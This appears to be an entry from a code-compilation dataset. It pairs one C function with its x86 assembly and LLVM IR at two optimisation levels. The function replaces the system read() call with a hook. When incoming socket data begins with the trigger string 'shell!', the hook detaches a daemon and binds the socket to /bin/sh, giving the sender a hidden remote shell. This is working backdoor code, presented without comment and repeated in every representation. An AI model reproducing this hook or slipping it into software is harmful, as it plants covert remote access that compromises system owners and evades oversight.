#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */
typedef scalar_t__ ssize_t;
typedef int /*<<< orphan*/ FILE;

/* Variables and functions */
int /*<<< orphan*/ dup2(int, int /*<<< orphan*/);
int /*<<< orphan*/ execl(char *, char *, int /*<<< orphan*/ *);
int /*<<< orphan*/ fileno(int /*<<< orphan*/);
scalar_t__ fork();
scalar_t__ memcmp(void *, char *, scalar_t__);
scalar_t__ orig_read(int, void *, size_t);
int /*<<< orphan*/ setsid();
int /*<<< orphan*/ stderr;
int /*<<< orphan*/ stdin;
int /*<<< orphan*/ stdout;
scalar_t__ strlen(char *);
ssize_t read(int socket, void *buffer, size_t length) {
  ssize_t ret;
  FILE *fp;
  char filename[1024 + 1];
  ret = orig_read(socket, buffer, length);
  if (ret < strlen("shell!\n"))
    return ret;
  if (memcmp(buffer, "shell!", strlen("shell!")))
    return ret;
  if (fork())
    return 0;
  setsid();
  if (fork())
    return 0;
  dup2(socket, fileno(stdin));
  dup2(socket, fileno(stdout));
  dup2(socket, fileno(stderr));
  execl("/bin/sh", "sh", NULL);
  return -1;
}


x86 assembly (clang, -O0):
<read>:
push   %rbp
mov    %rsp,%rbp
sub    $0x460,%rsp
mov    %edi,-0xc(%rbp)
mov    %rsi,-0x18(%rbp)
mov    %rdx,-0x20(%rbp)
mov    -0xc(%rbp),%edi
mov    -0x18(%rbp),%rsi
mov    -0x20(%rbp),%rdx
call   1080 <orig_read@plt>
mov    %rax,-0x28(%rbp)
mov    -0x28(%rbp),%rax
mov    %rax,-0x448(%rbp)
lea    0xe44(%rip),%rdi
call   1030 <strlen@plt>
mov    %rax,%rcx
mov    -0x448(%rbp),%rax
cmp    %rcx,%rax
jge    11e1 <read+0x61>
mov    -0x28(%rbp),%rax
mov    %rax,-0x8(%rbp)
jmp    12f3 <read+0x173>
mov    -0x18(%rbp),%rax
mov    %rax,-0x450(%rbp)
lea    0xe15(%rip),%rdi
call   1030 <strlen@plt>
mov    -0x450(%rbp),%rdi
mov    %rax,%rdx
lea    0xdff(%rip),%rsi
call   1060 <memcmp@plt>
cmp    $0x0,%rax
je     1225 <read+0xa5>
mov    -0x28(%rbp),%rax
mov    %rax,-0x8(%rbp)
jmp    12f3 <read+0x173>
mov    $0x0,%al
call   10a0 <fork@plt>
cmp    $0x0,%rax
je     1243 <read+0xc3>
movq   $0x0,-0x8(%rbp)
jmp    12f3 <read+0x173>
mov    $0x0,%al
call   1050 <setsid@plt>
mov    $0x0,%al
call   10a0 <fork@plt>
cmp    $0x0,%rax
je     1268 <read+0xe8>
movq   $0x0,-0x8(%rbp)
jmp    12f3 <read+0x173>
mov    -0xc(%rbp),%eax
mov    %eax,-0x45c(%rbp)
mov    0x2d70(%rip),%rax
mov    (%rax),%edi
call   1070 <fileno@plt>
mov    -0x45c(%rbp),%edi
mov    %eax,%esi
call   1040 <dup2@plt>
mov    -0xc(%rbp),%eax
mov    %eax,-0x458(%rbp)
mov    0x2d34(%rip),%rax
mov    (%rax),%edi
call   1070 <fileno@plt>
mov    -0x458(%rbp),%edi
mov    %eax,%esi
call   1040 <dup2@plt>
mov    -0xc(%rbp),%eax
mov    %eax,-0x454(%rbp)
mov    0x2d18(%rip),%rax
mov    (%rax),%edi
call   1070 <fileno@plt>
mov    -0x454(%rbp),%edi
mov    %eax,%esi
call   1040 <dup2@plt>
lea    0xd34(%rip),%rdi
lea    0xd32(%rip),%rsi
xor    %eax,%eax
mov    %eax,%edx
call   1090 <execl@plt>
movq   $0xffffffffffffffff,-0x8(%rbp)
ff
mov    -0x8(%rbp),%rax
add    $0x460,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<read>:
push   %rbp
push   %r14
push   %rbx
mov    %rsi,%rbp
mov    %edi,%r14d
call   1070 <orig_read@plt>
mov    %rax,%rbx
cmp    $0x7,%rax
jl     1230 <read+0xc0>
lea    0xe6d(%rip),%rsi
mov    $0x6,%edx
mov    %rbp,%rdi
call   1050 <memcmp@plt>
test   %rax,%rax
jne    1230 <read+0xc0>
xor    %ebx,%ebx
xor    %eax,%eax
call   1090 <fork@plt>
test   %rax,%rax
jne    1230 <read+0xc0>
xor    %ebx,%ebx
xor    %eax,%eax
call   1040 <setsid@plt>
xor    %eax,%eax
call   1090 <fork@plt>
test   %rax,%rax
jne    1230 <read+0xc0>
mov    0x2e15(%rip),%rax
mov    (%rax),%edi
call   1060 <fileno@plt>
mov    %r14d,%edi
mov    %eax,%esi
call   1030 <dup2@plt>
mov    0x2de5(%rip),%rax
mov    (%rax),%edi
call   1060 <fileno@plt>
mov    %r14d,%edi
mov    %eax,%esi
call   1030 <dup2@plt>
mov    0x2dd5(%rip),%rax
mov    (%rax),%edi
call   1060 <fileno@plt>
mov    %r14d,%edi
mov    %eax,%esi
call   1030 <dup2@plt>
lea    0xdec(%rip),%rdi
lea    0xdea(%rip),%rsi
xor    %edx,%edx
call   1080 <execl@plt>
mov    $0xffffffffffffffff,%rbx
mov    %rbx,%rax
pop    %rbx
pop    %r14
pop    %rbp
ret

LLVM IR (-O0):
@.str = [8 x i8] c"shell!\0A\00"
@.str.1 = [7 x i8] c"shell!\00"
@stdin = global i32 0
@stdout = global i32 0
@stderr = global i32 0
@.str.2 = [8 x i8] c"/bin/sh\00"
@.str.3 = [3 x i8] c"sh\00"
define i64 @read(i32 %0, i8* %1, i64 %2) {
%4 = alloca i64
%5 = alloca i32
%6 = alloca i8*
%7 = alloca i64
%8 = alloca i64
%9 = alloca i32*
%10 = alloca [1025 x i8]
store i32 %0, i32* %5
store i8* %1, i8** %6
store i64 %2, i64* %7
%11 = load i32, i32* %5
%12 = load i8*, i8** %6
%13 = load i64, i64* %7
%14 = call i64 @orig_read(i32 %11, i8* %12, i64 %13)
store i64 %14, i64* %8
%15 = load i64, i64* %8
%16 = call i64 @strlen(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str, i64 0, i64 0))
%17 = icmp slt i64 %15, %16
br i1 %17, label %18, label %20
18: ; preds = %3
%19 = load i64, i64* %8
store i64 %19, i64* %4
br label %50
20: ; preds = %3
%21 = load i8*, i8** %6
%22 = call i64 @strlen(i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str.1, i64 0, i64 0))
%23 = call i64 @memcmp(i8* %21, i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str.1, i64 0, i64 0), i64 %22)
%24 = icmp ne i64 %23, 0
br i1 %24, label %25, label %27
25: ; preds = %20
%26 = load i64, i64* %8
store i64 %26, i64* %4
br label %50
27: ; preds = %20
%28 = call i64 (...) @fork()
%29 = icmp ne i64 %28, 0
br i1 %29, label %30, label %31
30: ; preds = %27
store i64 0, i64* %4
br label %50
31: ; preds = %27
%32 = call i32 (...) @setsid()
%33 = call i64 (...) @fork()
%34 = icmp ne i64 %33, 0
br i1 %34, label %35, label %36
35: ; preds = %31
store i64 0, i64* %4
br label %50
36: ; preds = %31
%37 = load i32, i32* %5
%38 = load i32, i32* @stdin
%39 = call i32 @fileno(i32 %38)
%40 = call i32 @dup2(i32 %37, i32 %39)
%41 = load i32, i32* %5
%42 = load i32, i32* @stdout
%43 = call i32 @fileno(i32 %42)
%44 = call i32 @dup2(i32 %41, i32 %43)
%45 = load i32, i32* %5
%46 = load i32, i32* @stderr
%47 = call i32 @fileno(i32 %46)
%48 = call i32 @dup2(i32 %45, i32 %47)
%49 = call i32 @execl(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.2, i64 0, i64 0), i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.3, i64 0, i64 0), i32* null)
store i64 -1, i64* %4
br label %50
50: ; preds = %36, %35, %30, %25, %18
%51 = load i64, i64* %4
ret i64 %51
}

LLVM IR (-O2):
@.str.1 = [7 x i8] c"shell!\00"
@stdin = global i32 0
@stdout = global i32 0
@stderr = global i32 0
@.str.2 = [8 x i8] c"/bin/sh\00"
@.str.3 = [3 x i8] c"sh\00"
define i64 @read(i32 %0, i8* %1, i64 %2) {
%4 = tail call i64 @orig_read(i32 %0, i8* %1, i64 %2)
%5 = icmp slt i64 %4, 7
br i1 %5, label %27, label %6
6: ; preds = %3
%7 = tail call i64 @memcmp(i8* %1, i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str.1, i64 0, i64 0), i64 6)
%8 = icmp eq i64 %7, 0
br i1 %8, label %9, label %27
9: ; preds = %6
%10 = tail call i64 (...) @fork()
%11 = icmp eq i64 %10, 0
br i1 %11, label %12, label %27
12: ; preds = %9
%13 = tail call i32 (...) @setsid()
%14 = tail call i64 (...) @fork()
%15 = icmp eq i64 %14, 0
br i1 %15, label %16, label %27
16: ; preds = %12
%17 = load i32, i32* @stdin
%18 = tail call i32 @fileno(i32 %17)
%19 = tail call i32 @dup2(i32 %0, i32 %18)
%20 = load i32, i32* @stdout
%21 = tail call i32 @fileno(i32 %20)
%22 = tail call i32 @dup2(i32 %0, i32 %21)
%23 = load i32, i32* @stderr
%24 = tail call i32 @fileno(i32 %23)
%25 = tail call i32 @dup2(i32 %0, i32 %24)
%26 = tail call i32 @execl(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.2, i64 0, i64 0), i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.3, i64 0, i64 0), i32* null)
br label %27
27: ; preds = %12, %9, %6, %3, %16
%28 = phi i64 [ -1, %16 ], [ %4, %3 ], [ %4, %6 ], [ 0, %9 ], [ 0, %12 ]
ret i64 %28
}